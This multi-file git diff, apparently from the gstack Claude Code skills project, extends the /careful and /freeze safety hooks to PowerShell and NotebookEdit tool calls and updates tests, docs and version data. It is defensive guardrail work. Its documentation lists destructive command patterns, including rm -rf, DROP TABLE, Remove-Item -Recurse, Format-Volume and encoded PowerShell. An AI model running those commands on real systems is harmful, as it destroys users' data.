||||
sys.stdout.buffer.write(((t if isinstance(t, str) else "").replace("\n", " ") + "\n" + f + "\n" + v.rstrip("\n") + ".").encode("utf-8", "surrogatepass"))' "$@" 2>/dev/null) && _ghet_ok=0
|
||||
fi
|
||||
if [ "$_ghet_ok" -ne 0 ] && command -v node >/dev/null 2>&1; then
|
||||
_ghet_out=$(printf '%s' "$_ghet_payload" | node -e 'let s="";process.stdin.on("data",d=>s+=d).on("end",()=>{let j;try{j=JSON.parse(s)}catch(e){process.exit(3)}const o=j&&typeof j==="object"?j:{};const t=typeof o.tool_name==="string"?o.tool_name:"";const i=o.tool_input&&typeof o.tool_input==="object"?o.tool_input:{};let f="",v="";for(const k of process.argv.slice(1)){const c=i[k];if(typeof c==="string"&&c){f=k;v=c;break}}process.stdout.write(t.replace(/\n/g," ")+"\n"+f+"\n"+v.replace(/\n+$/,"")+".")})' "$@" 2>/dev/null) && _ghet_ok=0
|
||||
fi
|
||||
[ "$_ghet_ok" -eq 0 ] || return 1
|
||||
_ghet_out="${_ghet_out%.}"
|
||||
GSTACK_HOOK_TOOL="${_ghet_out%%$'\n'*}"
|
||||
_ghet_out="${_ghet_out#*$'\n'}"
|
||||
GSTACK_HOOK_FIELD="${_ghet_out%%$'\n'*}"
|
||||
GSTACK_HOOK_VALUE="${_ghet_out#*$'\n'}"
|
||||
return 0
|
||||
}
|
||||
|
||||
# Windows bash (Git Bash / MSYS / Cygwin), read from bash's own OSTYPE so the
|
||||
# check never costs a fork: careful sources this file on every Bash call.
|
||||
case "${OSTYPE:-}" in
|
||||
@@ -121,7 +171,7 @@ gstack_hook_decision() {
|
||||
gstack_hook_state_root() {
|
||||
gstack_state_root
|
||||
}
|
||||
_ghsr_twin="${BASH_SOURCE[0]%/*}/../../bin/gstack-state-root.sh"
|
||||
_ghsr_twin="${BASH_SOURCE[0]%[/\\]*}/../../bin/gstack-state-root.sh"
|
||||
if ! { [ -f "$_ghsr_twin" ] && . "$_ghsr_twin" 2>/dev/null; } || ! command -v gstack_state_root >/dev/null 2>&1; then
|
||||
unset -f gstack_hook_state_root
|
||||
fi
|
||||
|
||||
@@ -807,7 +807,9 @@ two anchors: every binary and source set flips it, Windows `.exe` suffixes).
|
||||
against a temp `GSTACK_INSTALL_DIR` / `GSTACK_SKILLS_DIR`, and
|
||||
`test/hook-scripts.test.ts` runs the real `careful/bin/check-careful.sh` and
|
||||
`freeze/bin/check-freeze.sh` with JSON payloads on stdin (including the
|
||||
`GSTACK_HOME` state-root parity against `bin/gstack-paths`).
|
||||
`GSTACK_HOME` state-root parity against `bin/gstack-paths`, PowerShell tool and
|
||||
NotebookEdit payloads); it is named Windows coverage in the curated
|
||||
`windows-free-tests` lane.
|
||||
|
||||
### Ship measure sweep
|
||||
|
||||
|
||||
+5
-3
@@ -52,7 +52,7 @@ Detailed guides for every gstack skill — philosophy, workflow, and examples.
|
||||
| | | |
|
||||
| **Safety & Utility** | | |
|
||||
| [`/careful`](#safety--guardrails) | **Safety Guardrails** | Warns before destructive commands (rm -rf, DROP TABLE, force-push, git reset --hard). Override any MEDIUM warning; root/home recursive deletes and default-branch force-pushes are hard-denied. Common build cleanups whitelisted. |
|
||||
| [`/freeze`](#safety--guardrails) | **Edit Lock** | Restrict all file edits to a single directory. Blocks Edit and Write outside the boundary. Accident prevention for debugging. |
|
||||
| [`/freeze`](#safety--guardrails) | **Edit Lock** | Restrict all file edits to a single directory. Blocks Edit, Write and NotebookEdit outside the boundary. Accident prevention for debugging. |
|
||||
| [`/guard`](#safety--guardrails) | **Full Safety** | Combines /careful + /freeze in one command. Maximum safety for prod work. |
|
||||
| [`/unfreeze`](#safety--guardrails) | **Unlock** | Remove the /freeze boundary, allowing edits everywhere again. |
|
||||
| [`/open-gstack-browser`](#open-gstack-browser) | **GStack Browser** | Launch gstack's own browser headed, with sidebar, anti-bot stealth, auto model routing, cookie import, and Claude Code integration. The visible face of the fallback engine; with Aside open you watch the agent's tabs there. |
|
||||
@@ -1216,7 +1216,7 @@ Four skills that add safety rails to any Claude Code session. They work via Clau
|
||||
|
||||
### `/careful`
|
||||
|
||||
Say "be careful" or run `/careful` when you're working near production, running destructive commands, or just want a safety net. Every Bash command gets checked against known-dangerous patterns:
|
||||
Say "be careful" or run `/careful` when you're working near production, running destructive commands, or just want a safety net. Every Bash and PowerShell command gets checked against known-dangerous patterns:
|
||||
|
||||
- `rm -rf` / `rm -r` — recursive delete
|
||||
- `DROP TABLE` / `DROP DATABASE` / `TRUNCATE` — data loss
|
||||
@@ -1226,13 +1226,15 @@ Say "be careful" or run `/careful` when you're working near production, running
|
||||
- `kubectl delete` — production resource deletion
|
||||
- `docker rm -f` / `docker system prune` — container/image loss
|
||||
|
||||
On Windows the same hook checks Claude Code's PowerShell tool and any `pwsh`/`powershell`/`cmd` launched from Bash: `Remove-Item` and its aliases with `-Recurse`/`-Force` (any parameter prefix), cmd `rd /s` and `del /s`, `Format-Volume`, `Clear-Disk`, `Clear-Content` and .NET deletes ask, and encoded or dynamic PowerShell (`-EncodedCommand`, `iex`, `Start-Process` of a shell, `& $cmd`) asks because it can't be inspected. PowerShell coverage is best-effort; Claude Code permission deny rules such as `"PowerShell(Remove-Item *)"` are the hard stop.
|
||||
|
||||
Common build artifact cleanups (`rm -rf node_modules`, `dist`, `.next`, `__pycache__`, `build`, `coverage`) are whitelisted — no false alarms on routine operations.
|
||||
|
||||
You can override any MEDIUM warning. Two catastrophic shapes are hard-denied instead of asked: recursive deletes of the filesystem root or your home directory (including the `/*`, `~/`, and `$HOME/` forms), and force-pushes to the repo's default branch (`--force-with-lease` never triggers the deny; the escape hatch is ending the session-scoped `/careful` session). You can also add your own warn rules — one POSIX ERE per line — in `~/.gstack/careful-patterns.txt` (global) or `~/.gstack/projects/<slug>/careful-patterns.txt` (per-project); custom patterns only ever add warnings, never suppress the built-ins. The guardrails are accident prevention, not access control.
|
||||
|
||||
### `/freeze`
|
||||
|
||||
Restrict all file edits to a single directory. When you're debugging a billing bug, you don't want Claude accidentally "fixing" unrelated code in `src/auth/`. `/freeze src/billing` blocks all Edit and Write operations outside that path.
|
||||
Restrict all file edits to a single directory. When you're debugging a billing bug, you don't want Claude accidentally "fixing" unrelated code in `src/auth/`. `/freeze src/billing` blocks all Edit, Write and NotebookEdit (Jupyter notebook) operations outside that path.
|
||||
|
||||
`/investigate` activates this automatically — it detects the module being debugged and freezes edits to that directory.
|
||||
|
||||
|
||||
+19
-11
@@ -22,6 +22,11 @@ hooks:
|
||||
- type: command
|
||||
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/freeze/bin/check-freeze.sh\""'
|
||||
statusMessage: "Checking freeze boundary..."
|
||||
- matcher: "NotebookEdit"
|
||||
hooks:
|
||||
- type: command
|
||||
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/freeze/bin/check-freeze.sh\""'
|
||||
statusMessage: "Checking freeze boundary..."
|
||||
---
|
||||
<!-- AUTO-GENERATED from SKILL.md.tmpl — do not edit directly -->
|
||||
<!-- Regenerate: bun run gen:skill-docs -->
|
||||
@@ -29,16 +34,17 @@ hooks:
|
||||
|
||||
## When to invoke this skill
|
||||
|
||||
Blocks Edit and
|
||||
Write outside the allowed path. Use when debugging to prevent accidentally
|
||||
Blocks Edit,
|
||||
Write and NotebookEdit outside the allowed path. Use when debugging to prevent accidentally
|
||||
"fixing" unrelated code, or when you want to scope changes to one module.
|
||||
Use when asked to "freeze", "restrict edits", "only edit this folder",
|
||||
or "lock down edits".
|
||||
|
||||
# /freeze — Restrict Edits to a Directory
|
||||
|
||||
Lock file edits to a specific directory. Any Edit or Write operation targeting
|
||||
a file outside the allowed path will be **blocked** (not just warned).
|
||||
Lock file edits to a specific directory. Any Edit, Write or NotebookEdit
|
||||
operation targeting a file outside the allowed path will be **blocked** (not
|
||||
just warned).
|
||||
|
||||
```bash
|
||||
GSTACK_STATE_ROOT=$(~/.claude/skills/gstack/bin/gstack-paths --get GSTACK_STATE_ROOT); : "${GSTACK_STATE_ROOT:?gstack-paths failed; reinstall with ./setup or /gstack-upgrade}"
|
||||
@@ -62,13 +68,14 @@ bash "$HOME/.claude/skills/gstack/freeze/bin/freeze-state.sh" set "<user-provide
|
||||
|
||||
Only report success if the helper succeeds. On `FREEZE_BUSY` or unexpected state, preserve it and ask the user to inspect recovery after any active writer finishes; never write or delete the state file directly.
|
||||
|
||||
Tell the user: "Edits are now restricted to `<path>/`. Any Edit or Write
|
||||
outside this directory will be blocked. To change the boundary, run `/freeze`
|
||||
Tell the user: "Edits are now restricted to `<path>/`. Any Edit, Write or
|
||||
NotebookEdit outside this directory will be blocked. To change the boundary, run `/freeze`
|
||||
again. To remove it, run `/unfreeze`."
|
||||
|
||||
## How it works
|
||||
|
||||
The hook reads `file_path` from the Edit/Write tool input JSON (shared
|
||||
The hook reads `file_path` from the Edit/Write tool input JSON, or
|
||||
`notebook_path` from a NotebookEdit (Jupyter notebook) call (shared
|
||||
real-JSON extractor with /careful — one copy, sourced by both hooks), then
|
||||
checks whether the path starts with the freeze directory. If not, it returns a
|
||||
`hookSpecificOutput` payload with `permissionDecision: "deny"` to block the
|
||||
@@ -77,17 +84,18 @@ operation (nested under `hookSpecificOutput` — Claude Code ignores a top-level
|
||||
|
||||
Polarity is fail-closed: a tool payload the hook cannot parse is DENIED, not
|
||||
allowed — a boundary that fails open is not a boundary. A payload that parses
|
||||
but has no `file_path` (a non-file tool) is allowed. Symlinks are resolved
|
||||
but has neither path field (a non-file tool) is allowed. A deny names the
|
||||
tool, the path field, the boundary and `/unfreeze`. Symlinks are resolved
|
||||
through their FINAL component, so an in-boundary symlink pointing outside the
|
||||
boundary is checked against its target.
|
||||
|
||||
The freeze boundary persists until explicitly removed via the state file. The hook
|
||||
script reads it on every Edit/Write invocation. Boundaries containing spaces
|
||||
script reads it on every Edit/Write/NotebookEdit invocation. Boundaries containing spaces
|
||||
are supported.
|
||||
|
||||
## Notes
|
||||
|
||||
- The trailing `/` on the freeze directory prevents `/src` from matching `/src-old`
|
||||
- Freeze applies to Edit and Write tools only — Read, Bash, Glob, Grep are unaffected
|
||||
- This prevents accidental edits, not a security boundary — Bash commands like `sed` can still modify files outside the boundary
|
||||
- Freeze applies to Edit, Write and NotebookEdit only — Read, Bash, PowerShell, Glob, Grep are unaffected
|
||||
- This prevents accidental edits, not a security boundary — Bash or PowerShell commands like `sed` or `Set-Content` can still modify files outside the boundary
|
||||
- To deactivate, run `/unfreeze`; ending or killing a conversation does not remove persisted state
|
||||
+19
-11
@@ -2,8 +2,8 @@
|
||||
name: freeze
|
||||
version: 0.1.0
|
||||
description: |
|
||||
Restrict file edits to a specific directory for the session. Blocks Edit and
|
||||
Write outside the allowed path. Use when debugging to prevent accidentally
|
||||
Restrict file edits to a specific directory for the session. Blocks Edit,
|
||||
Write and NotebookEdit outside the allowed path. Use when debugging to prevent accidentally
|
||||
"fixing" unrelated code, or when you want to scope changes to one module.
|
||||
Use when asked to "freeze", "restrict edits", "only edit this folder",
|
||||
or "lock down edits". (gstack)
|
||||
@@ -27,13 +27,19 @@ hooks:
|
||||
- type: command
|
||||
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/freeze/bin/check-freeze.sh\""'
|
||||
statusMessage: "Checking freeze boundary..."
|
||||
- matcher: "NotebookEdit"
|
||||
hooks:
|
||||
- type: command
|
||||
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/freeze/bin/check-freeze.sh\""'
|
||||
statusMessage: "Checking freeze boundary..."
|
||||
sensitive: true
|
||||
---
|
||||
|
||||
# /freeze — Restrict Edits to a Directory
|
||||
|
||||
Lock file edits to a specific directory. Any Edit or Write operation targeting
|
||||
a file outside the allowed path will be **blocked** (not just warned).
|
||||
Lock file edits to a specific directory. Any Edit, Write or NotebookEdit
|
||||
operation targeting a file outside the allowed path will be **blocked** (not
|
||||
just warned).
|
||||
|
||||
```bash
|
||||
GSTACK_STATE_ROOT=$(~/.claude/skills/gstack/bin/gstack-paths --get GSTACK_STATE_ROOT); : "${GSTACK_STATE_ROOT:?gstack-paths failed; reinstall with ./setup or /gstack-upgrade}"
|
||||
@@ -57,13 +63,14 @@ bash "{{RUNTIME_ROOT}}/freeze/bin/freeze-state.sh" set "<user-provided-path>"
|
||||
|
||||
Only report success if the helper succeeds. On `FREEZE_BUSY` or unexpected state, preserve it and ask the user to inspect recovery after any active writer finishes; never write or delete the state file directly.
|
||||
|
||||
Tell the user: "Edits are now restricted to `<path>/`. Any Edit or Write
|
||||
outside this directory will be blocked. To change the boundary, run `/freeze`
|
||||
Tell the user: "Edits are now restricted to `<path>/`. Any Edit, Write or
|
||||
NotebookEdit outside this directory will be blocked. To change the boundary, run `/freeze`
|
||||
again. To remove it, run `/unfreeze`."
|
||||
|
||||
## How it works
|
||||
|
||||
The hook reads `file_path` from the Edit/Write tool input JSON (shared
|
||||
The hook reads `file_path` from the Edit/Write tool input JSON, or
|
||||
`notebook_path` from a NotebookEdit (Jupyter notebook) call (shared
|
||||
real-JSON extractor with /careful — one copy, sourced by both hooks), then
|
||||
checks whether the path starts with the freeze directory. If not, it returns a
|
||||
`hookSpecificOutput` payload with `permissionDecision: "deny"` to block the
|
||||
@@ -72,17 +79,18 @@ operation (nested under `hookSpecificOutput` — Claude Code ignores a top-level
|
||||
|
||||
Polarity is fail-closed: a tool payload the hook cannot parse is DENIED, not
|
||||
allowed — a boundary that fails open is not a boundary. A payload that parses
|
||||
but has no `file_path` (a non-file tool) is allowed. Symlinks are resolved
|
||||
but has neither path field (a non-file tool) is allowed. A deny names the
|
||||
tool, the path field, the boundary and `/unfreeze`. Symlinks are resolved
|
||||
through their FINAL component, so an in-boundary symlink pointing outside the
|
||||
boundary is checked against its target.
|
||||
|
||||
The freeze boundary persists until explicitly removed via the state file. The hook
|
||||
script reads it on every Edit/Write invocation. Boundaries containing spaces
|
||||
script reads it on every Edit/Write/NotebookEdit invocation. Boundaries containing spaces
|
||||
are supported.
|
||||
|
||||
## Notes
|
||||
|
||||
- The trailing `/` on the freeze directory prevents `/src` from matching `/src-old`
|
||||
- Freeze applies to Edit and Write tools only — Read, Bash, Glob, Grep are unaffected
|
||||
- This prevents accidental edits, not a security boundary — Bash commands like `sed` can still modify files outside the boundary
|
||||
- Freeze applies to Edit, Write and NotebookEdit only — Read, Bash, PowerShell, Glob, Grep are unaffected
|
||||
- This prevents accidental edits, not a security boundary — Bash or PowerShell commands like `sed` or `Set-Content` can still modify files outside the boundary
|
||||
- To deactivate, run `/unfreeze`; ending or killing a conversation does not remove persisted state
|
||||
@@ -1,6 +1,7 @@
|
||||
#!/usr/bin/env bash
|
||||
# check-freeze.sh — PreToolUse hook for /freeze skill
|
||||
# Reads JSON from stdin, checks if file_path is within the freeze boundary.
|
||||
# Reads JSON from stdin, checks if the edited path is within the freeze
|
||||
# boundary: file_path for Edit/Write, notebook_path for NotebookEdit (#3067).
|
||||
# Returns a PreToolUse hookSpecificOutput with permissionDecision "deny" to block,
|
||||
# or {} to allow. The decision MUST be nested under hookSpecificOutput — Claude
|
||||
# Code ignores a top-level permissionDecision, which silently no-ops the block.
|
||||
@@ -56,7 +57,7 @@ fi
|
||||
# A helper from an older install that lacks the function must fail CLOSED
|
||||
# (the existence check above only proves the file sourced), never exit 127
|
||||
# with no JSON — Claude Code treats that as non-blocking.
|
||||
if ! command -v gstack_hook_state_root >/dev/null 2>&1 || ! command -v gstack_hook_normalize_path >/dev/null 2>&1; then
|
||||
if ! command -v gstack_hook_state_root >/dev/null 2>&1 || ! command -v gstack_hook_normalize_path >/dev/null 2>&1 || ! command -v gstack_hook_extract_tool >/dev/null 2>&1; then
|
||||
_FREEZE_DECIDED=1
|
||||
printf '{"hookSpecificOutput":{"hookEventName":"PreToolUse","permissionDecision":"deny","permissionDecisionReason":"[freeze] Hook helpers out of date (partial upgrade?) - blocked, fail closed. Re-run ./setup or /unfreeze."}}\n'
|
||||
exit 0
|
||||
@@ -108,11 +109,16 @@ case "$FREEZE_DIR" in
|
||||
;;
|
||||
esac
|
||||
|
||||
# Extract file_path from tool_input with the shared real-JSON parser.
|
||||
# Extract the edited path with the shared real-JSON parser. Edit and Write
|
||||
# carry tool_input.file_path; NotebookEdit carries tool_input.notebook_path
|
||||
# (Claude Code Agent SDK reference, NotebookEditInput), so a notebook edit
|
||||
# used to parse as "no path" and pass every boundary.
|
||||
set +e
|
||||
FILE_PATH=$(gstack_hook_extract_field "$INPUT" file_path)
|
||||
gstack_hook_extract_tool "$INPUT" file_path notebook_path
|
||||
EXTRACT_RC=$?
|
||||
set -e
|
||||
FILE_PATH="$GSTACK_HOOK_VALUE"
|
||||
TOOL_LABEL="${GSTACK_HOOK_TOOL:+$GSTACK_HOOK_TOOL }$GSTACK_HOOK_FIELD"
|
||||
|
||||
# Unparseable payload (or no parser available): DENY. A boundary hook that
|
||||
# allows what it cannot read is not a boundary.
|
||||
@@ -122,7 +128,7 @@ if [ "$EXTRACT_RC" -ne 0 ] && [ -n "$INPUT" ]; then
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# Parsed fine but no file_path field: a non-file tool payload — allow.
|
||||
# Parsed fine but no path field: a non-file tool payload — allow.
|
||||
if [ -z "$FILE_PATH" ]; then
|
||||
_FREEZE_DECIDED=1
|
||||
echo '{}'
|
||||
@@ -198,7 +204,7 @@ case "$FILE_PATH" in
|
||||
# The reason is JSON-encoded by the shared helper. Never interpolate paths
|
||||
# into hand-built JSON: a path containing a quote or newline produced
|
||||
# malformed JSON here, and the deny silently no-oped.
|
||||
gstack_hook_decision deny "[freeze] Blocked: $FILE_PATH is outside the freeze boundary ($FREEZE_DIR). Only edits within the frozen directory are allowed."
|
||||
gstack_hook_decision deny "[freeze] Blocked: $TOOL_LABEL $FILE_PATH is outside the freeze boundary ($FREEZE_DIR). Only edits within the frozen directory are allowed; run /unfreeze to remove the boundary."
|
||||
_FREEZE_DECIDED=1
|
||||
;;
|
||||
esac
|
||||
@@ -17,6 +17,11 @@ hooks:
|
||||
- type: command
|
||||
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/careful/bin/check-careful.sh\""'
|
||||
statusMessage: "Checking for destructive commands..."
|
||||
- matcher: "PowerShell"
|
||||
hooks:
|
||||
- type: command
|
||||
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/careful/bin/check-careful.sh\""'
|
||||
statusMessage: "Checking for destructive commands..."
|
||||
- matcher: "Edit"
|
||||
hooks:
|
||||
- type: command
|
||||
@@ -27,6 +32,11 @@ hooks:
|
||||
- type: command
|
||||
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/freeze/bin/check-freeze.sh\""'
|
||||
statusMessage: "Checking freeze boundary..."
|
||||
- matcher: "NotebookEdit"
|
||||
hooks:
|
||||
- type: command
|
||||
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/freeze/bin/check-freeze.sh\""'
|
||||
statusMessage: "Checking freeze boundary..."
|
||||
---
|
||||
<!-- AUTO-GENERATED from SKILL.md.tmpl — do not edit directly -->
|
||||
<!-- Regenerate: bun run gen:skill-docs -->
|
||||
|
||||
@@ -22,6 +22,11 @@ hooks:
|
||||
- type: command
|
||||
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/careful/bin/check-careful.sh\""'
|
||||
statusMessage: "Checking for destructive commands..."
|
||||
- matcher: "PowerShell"
|
||||
hooks:
|
||||
- type: command
|
||||
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/careful/bin/check-careful.sh\""'
|
||||
statusMessage: "Checking for destructive commands..."
|
||||
- matcher: "Edit"
|
||||
hooks:
|
||||
- type: command
|
||||
@@ -32,6 +37,11 @@ hooks:
|
||||
- type: command
|
||||
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/freeze/bin/check-freeze.sh\""'
|
||||
statusMessage: "Checking freeze boundary..."
|
||||
- matcher: "NotebookEdit"
|
||||
hooks:
|
||||
- type: command
|
||||
command: 'bash -c "exec bash \"$HOME/.claude/skills/gstack/freeze/bin/check-freeze.sh\""'
|
||||
statusMessage: "Checking freeze boundary..."
|
||||
sensitive: true
|
||||
---
|
||||
|
||||
|
||||
@@ -30,6 +30,11 @@ hooks:
|
||||
- type: command
|
||||
command: 'bash -c "test -x \"$HOME/.claude/skills/gstack/freeze/bin/check-freeze.sh\" && exec bash \"$HOME/.claude/skills/gstack/freeze/bin/check-freeze.sh\"; exit 0"'
|
||||
statusMessage: "Checking debug scope boundary..."
|
||||
- matcher: "NotebookEdit"
|
||||
hooks:
|
||||
- type: command
|
||||
command: 'bash -c "test -x \"$HOME/.claude/skills/gstack/freeze/bin/check-freeze.sh\" && exec bash \"$HOME/.claude/skills/gstack/freeze/bin/check-freeze.sh\"; exit 0"'
|
||||
statusMessage: "Checking debug scope boundary..."
|
||||
gbrain:
|
||||
schema: 1
|
||||
context_queries:
|
||||
@@ -496,7 +501,7 @@ bash "$HOME/.claude/skills/gstack/freeze/bin/freeze-state.sh" acquire "<detected
|
||||
|
||||
Substitute `<detected-directory>` with the actual path (e.g., `src/auth/`). Retain the exact returned `FREEZE_OWNER` token in this run's context (including any checkpoint); never reconstruct it from the current state file. Only a returned token means this run owns a new lock. `FREEZE_PRESERVED` means keep the existing boundary and do not clean it up. On acquisition error, pause before edits and report it; never claim a lock was acquired. Relative legacy state is ambiguous: ask the user to re-establish an absolute boundary via `/freeze`, rather than guessing its original cwd.
|
||||
|
||||
Tell the user the boundary and its owner disposition. Hooks enforce Edit/Write restrictions only on hosts supporting those callbacks; on Capy they are advisory. Bash remains outside hook enforcement.
|
||||
Tell the user the boundary and its owner disposition. Hooks enforce Edit/Write/NotebookEdit restrictions only on hosts supporting those callbacks; on Capy they are advisory. Bash remains outside hook enforcement.
|
||||
|
||||
**Terminal cleanup:** On completion, explicit abort, or any known error that ends this investigation, run the following with this run's retained token, before the final response. Skip it when this run acquired no token:
|
||||
|
||||
|
||||
@@ -37,6 +37,11 @@ hooks:
|
||||
- type: command
|
||||
command: 'bash -c "test -x \"$HOME/.claude/skills/gstack/freeze/bin/check-freeze.sh\" && exec bash \"$HOME/.claude/skills/gstack/freeze/bin/check-freeze.sh\"; exit 0"'
|
||||
statusMessage: "Checking debug scope boundary..."
|
||||
- matcher: "NotebookEdit"
|
||||
hooks:
|
||||
- type: command
|
||||
command: 'bash -c "test -x \"$HOME/.claude/skills/gstack/freeze/bin/check-freeze.sh\" && exec bash \"$HOME/.claude/skills/gstack/freeze/bin/check-freeze.sh\"; exit 0"'
|
||||
statusMessage: "Checking debug scope boundary..."
|
||||
gbrain:
|
||||
schema: 1
|
||||
context_queries:
|
||||
@@ -133,7 +138,7 @@ bash "{{RUNTIME_ROOT}}/freeze/bin/freeze-state.sh" acquire "<detected-directory>
|
||||
|
||||
Substitute `<detected-directory>` with the actual path (e.g., `src/auth/`). Retain the exact returned `FREEZE_OWNER` token in this run's context (including any checkpoint); never reconstruct it from the current state file. Only a returned token means this run owns a new lock. `FREEZE_PRESERVED` means keep the existing boundary and do not clean it up. On acquisition error, pause before edits and report it; never claim a lock was acquired. Relative legacy state is ambiguous: ask the user to re-establish an absolute boundary via `/freeze`, rather than guessing its original cwd.
|
||||
|
||||
Tell the user the boundary and its owner disposition. Hooks enforce Edit/Write restrictions only on hosts supporting those callbacks; on Capy they are advisory. Bash remains outside hook enforcement.
|
||||
Tell the user the boundary and its owner disposition. Hooks enforce Edit/Write/NotebookEdit restrictions only on hosts supporting those callbacks; on Capy they are advisory. Bash remains outside hook enforcement.
|
||||
|
||||
**Terminal cleanup:** On completion, explicit abort, or any known error that ends this investigation, run the following with this run's retained token, before the final response. Skip it when this run acquired no token:
|
||||
|
||||
|
||||
+1
-1
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "gstack",
|
||||
"version": "1.91.45",
|
||||
"version": "1.91.47",
|
||||
"description": "Garry's Stack — Claude Code skills + fast headless browser. One repo, one install, entire AI engineering workflow.",
|
||||
"license": "MIT",
|
||||
"type": "module",
|
||||
|
||||
@@ -10,13 +10,13 @@
|
||||
"test/helpers/llm-judge.ts"
|
||||
],
|
||||
"files": {
|
||||
"scripts/lib/paid-cases.ts": {"blob":"9bacd52446192a7ecf3dfaae901ea443cf9c9ae2","since":4},
|
||||
"scripts/lib/paid-cases.ts": {"blob":"c2c16290522e12df7bec88047737920636daad44","since":4,"nonBehavioral":"Merge with main (HARNESS_VERSION 4): FREE_ONLY_PR_FILES gains careful/bin/check-careful.sh and CASE_TEST_NAMES maps office-hours-auto-mode to its real Bun test name; selection only, no case verdict rule changes"},
|
||||
"scripts/lib/paid-plan.ts": {"blob":"45721ce128a112666a0caed6c13c66637b74ca54","since":4},
|
||||
"scripts/lib/paid-report.ts": {"blob":"3fda96a8b1f7f3d55797934847353f254cc4d054","since":4},
|
||||
"scripts/lib/published-text.ts": {"blob":"3f2e4d616b5dd0204035710c66b64d49055c5714","since":4},
|
||||
"scripts/lib/shard-engine.ts": {"blob":"3cd0b1aaa84018b00bf9ea0ce48093f3c8492f66","since":4},
|
||||
"scripts/test-paid-shards.ts": {"blob":"8ddee5f11ed7856876135520dd8025ab989e2db9","since":4},
|
||||
"scripts/test-pr-profile.ts": {"blob":"54363c3d3aad9743b9e79219da7ec8a0f4ab0832","since":4},
|
||||
"scripts/test-pr-profile.ts": {"blob":"791d101b37e81bdc200e33f72abc3cc12eeaab0f","since":4,"nonBehavioral":"Merge with main (HARNESS_VERSION 4): FREE_ONLY_PR_FILES gains careful/bin/check-careful.sh and CASE_TEST_NAMES maps office-hours-auto-mode to its real Bun test name; selection only, no case verdict rule changes"},
|
||||
"scripts/test-strict-output.ts": {"blob":"01185d20dc9761b04b9b2f751ec98664fe0eaf93","since":4},
|
||||
"test/helpers/agent-sdk-runner.ts": {"blob":"210bba92d241a90df578b2c7fc943ac5755d0025","since":4},
|
||||
"test/helpers/auq-substance-panel.ts": {"blob":"4881260ef793668e4963a062db6d06a5e1f7a40f","since":4},
|
||||
|
||||
@@ -76,6 +76,7 @@ export const CASE_TEST_NAMES: Record<string, string> = {
|
||||
'plan-ceo-review-plan-mode': 'first terminal outcome is asked (Step 0 fires before any plan write)',
|
||||
'plan-eng-review-artifact': 'an interactive review writes one QA test plan about the reviewed change',
|
||||
'plan-eng-review-artifact-full': 'a fresh interactive review reaches Test review and writes one QA test plan',
|
||||
'office-hours-auto-mode': 'AskUserQuestion surfaces when --disallowedTools AskUserQuestion is set',
|
||||
};
|
||||
|
||||
export const CASE_KEY_SEPARATOR = '#';
|
||||
|
||||
@@ -240,6 +240,7 @@ export const KNOWN_WINDOWS_SAFE: Array<{ file: string; reason: string }> = [
|
||||
{ file: 'test/generator-eexist.test.ts',
|
||||
reason: 'E4: runs the generators through Bun argv with the Windows EEXIST emulation preload; no shebang execution' },
|
||||
{ file: 'test/gstack-config-gbrain-refresh.test.ts', reason: 'E6: runs bin/gstack-config through explicit bash; its gbrain/python3 shims are found by bash PATH lookup, never launched by CreateProcess' },
|
||||
{ file: 'test/hook-scripts.test.ts', reason: '#3067 PowerShell and NotebookEdit hook coverage: every hook runs through spawnSync("bash", [script]) with the payload on stdin, scratch state lives under os.tmpdir(); its /tmp/ literals are payload strings, never opened; symlink, newline-path and POSIX-PATH cases are skipIf win32' },
|
||||
{ file: 'test/gstack-doctor.test.ts', reason: 'runs bin/gstack-doctor and setup --status through explicit bash argv in an os.tmpdir fixture; its bun/codex/claude/probe stubs are found by bash PATH lookup, and expected paths use bash spellings' },
|
||||
{
|
||||
file: 'test/qa-evidence.test.ts',
|
||||
|
||||
@@ -212,6 +212,7 @@ export const FREE_ONLY_PR_FILES = [
|
||||
'tsconfig.test.json', // Read only by `tsc -p tsconfig.test.json` (typecheck:test); Bun's runtime reads tsconfig.json.
|
||||
'.gitignore', // Changes which untracked files git reports, never tracked content a case reads.
|
||||
'scripts/retired-command.ts', // One-release stubs for retired package scripts; no paid case imports it.
|
||||
'careful/bin/check-careful.sh', // /careful PreToolUse hook: covered by test/hook-scripts.test.ts; no paid fixture copies or runs it.
|
||||
// Reporting and launch tools: they read CI history or start a lane, never run inside a paid case.
|
||||
'scripts/test-health-report.ts',
|
||||
'scripts/bump-harness-version.ts',
|
||||
|
||||
Vendored
+4
-4
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"_comment": "Context-budget ratchet ceilings (~tokens). Regenerate: bun test/helpers/capture-context-budget.ts. Headroom: alwaysOnTotal x1.05, eagerPerInvocation x1.1. Graded by test/context-budget-ratchet.test.ts via lib/context-bill.ts checkBudget.",
|
||||
"alwaysOnTotal": 6892,
|
||||
"alwaysOnTotal": 7273,
|
||||
"eagerPerInvocation": {
|
||||
"autoplan": 16511,
|
||||
"benchmark": 7701,
|
||||
@@ -8,7 +8,7 @@
|
||||
"browse": 8166,
|
||||
"browser-skills/hackernews-frontpage": 371,
|
||||
"canary": 13356,
|
||||
"careful": 976,
|
||||
"careful": 1328,
|
||||
"codex": 15204,
|
||||
"context-restore": 10531,
|
||||
"context-save": 10376,
|
||||
@@ -22,10 +22,10 @@
|
||||
"diagram": 4271,
|
||||
"document-generate": 11696,
|
||||
"document-release": 10059,
|
||||
"freeze": 1073,
|
||||
"freeze": 1194,
|
||||
"gstack": 4151,
|
||||
"gstack-upgrade": 5793,
|
||||
"guard": 963,
|
||||
"guard": 1082,
|
||||
"health": 11408,
|
||||
"investigate": 12130,
|
||||
"ios-clean": 8167,
|
||||
|
||||
+351
-3
@@ -132,6 +132,42 @@ describe('frontmatter hook command paths', () => {
|
||||
);
|
||||
});
|
||||
|
||||
// Claude Code fires a hook only for the tools its matcher names. The
|
||||
// PowerShell tool is the primary shell on Windows (and the only one without
|
||||
